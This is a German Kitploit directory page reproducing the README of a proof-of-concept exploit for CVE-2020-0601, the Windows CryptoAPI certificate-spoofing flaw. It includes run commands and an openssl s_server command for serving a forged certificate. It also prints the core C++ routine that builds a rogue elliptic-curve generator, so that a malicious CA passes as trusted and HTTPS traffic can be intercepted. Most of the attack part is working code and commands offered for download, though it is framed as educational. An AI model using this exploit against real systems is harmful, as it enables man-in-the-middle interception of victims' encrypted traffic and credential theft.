Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2020-0601_poc — Proof-of-Concept-Exploit für CVE-2020-0601 (Spoofing der Windows CryptoAPI), der gefälschte CA-Zertifikate generiert, um HTTPS-Datenverkehr abzufangen, mit ausführlichem Quellcode, der den Angriff auf elliptische Kurven erklärt. | Kitploit
Tools/GitHubGitHub/gremwell/cve-2020-0601_poc
ExploitationWebsicherheitKryptographiePenetrationstestsLernen & Bildung
GitHubgremwell/cve-2020-0601_poc

cve-2020-0601_poc

Proof-of-Concept-Exploit für CVE-2020-0601 (Spoofing der Windows CryptoAPI), der gefälschte CA-Zertifikate generiert, um HTTPS-Datenverkehr abzufangen, mit ausführlichem Quellcode, der den Angriff auf elliptische Kurven erklärt.

Repository anzeigen
222vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Grundlegende Informationen

Der Quellcode dieses Tools soll beim Verständnis der in der Windows Crypto API entdeckten Sicherheitsanfälligkeit CVE-2020-0601 helfen, siehe CERT's Übersicht.

Das Tool selbst kann verwendet werden, um ein Zertifikat für eine beliebige Domain zu erstellen, das von einer bösartigen Zertifizierungsstelle signiert wird. Dieses Tool erzeugt eine bösartige CA mit demselben öffentlichen Schlüssel wie der in der Befehlszeile angegebene.

Wenn ein Webbrowser einer verwundbaren Windows-Version auf dieses Zertifikat zugreift, wird es als vertrauenswürdig betrachtet. Somit kann ein geeignet positionierter netzwerkbasierter Angreifer den Datenverkehr des Opfers abfangen.

Zusammenfassung

Starten Sie das Tool mit dem Pfad zu einem vertrauenswürdigen Windows-Zertifikat:

root@kitploit:~
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt

Im obigen Beispiel wird eine USERTrust ECC Certification Authority mit folgendem öffentlichen Schlüssel verwendet:

root@kitploit:~
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79

Das Tool speichert mehrere Zertifikate und Schlüssel in seinem aktuellen Arbeitsverzeichnis:

root@kitploit:~
test-cve_evil-ca.crt -- bösartige CA
test-cve_evil-privkey.key -- privater Schlüssel der bösartigen CA im PEM-Format
test-cve_evil-privkey-pk8.key -- privater Schlüssel der bösartigen CA im PKCS#8-Format
test-cve_host-cert.crt -- Zertifikat des Zielhosts (standardmäßig example.com)
test-cve_host-privkey.key -- privater Schlüssel des Zielhosts (standardmäßig example.com)

Um die Zertifikate zu testen, starten Sie openssl s_server wie folgt und leiten Sie Anfragen an https://example.com/ von Ihrem verwundbaren Windows-Rechner dorthin um:

root@kitploit:~
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

Stellen Sie sicher, dass das Originalzertifikat zwischengespeichert ist!

Das Ergebnis sollte wie folgt aussehen: Spoofing von example.com

Erstellung

cmake wird verwendet, um die Make-Datei zum Erstellen dieses Tools zu generieren. Als Abhängigkeiten werden folgende Bibliotheken benötigt:

  • openssl (> 1.0)
  • cryptopp

Erstellung:

root@kitploit:~
mkdir build
cd build
cmake ..
make

Beschreibung

Eine umfassende (relativ) Beschreibung wird irgendwann auf Gremwell's Website hinzugefügt.

Beginnen Sie mit der Betrachtung der Datei main.cpp. Sie ruft verschiedene OpenSSL-Wrapper auf, die wichtig sind, aber nicht mit der Sicherheitsanfälligkeit selbst zusammenhängen. Der interessanteste Teil befindet sich in der Datei cve-2020-0601_poc.cpp:

root@kitploit:~
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
                      char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
                      bool doSave, const char *evilPrivKeyFileName)
{
    // load public key of the provided certificate into native CryptoPP type
    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

    // generate a private key using the same curve as in the provided CA certificate
    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

    // get the private key elliptic curve parameters
    CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
    ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
    CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

    if (doSave) {
        // save it as-is so this can be imported by some tools
        evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
    }

    // the code below converts the key to DER format
    // however, as we have here our custom curve (not the "named" one), most of the
    // tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
    CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
    privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
    *outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif

    return true;
}

Die Kommentare hier sollten selbsterklärend sein. :-)

Danksagungen

Dank an den kudelskisecurity Blog und die dort genannten Referenzen.

Tool herunterladen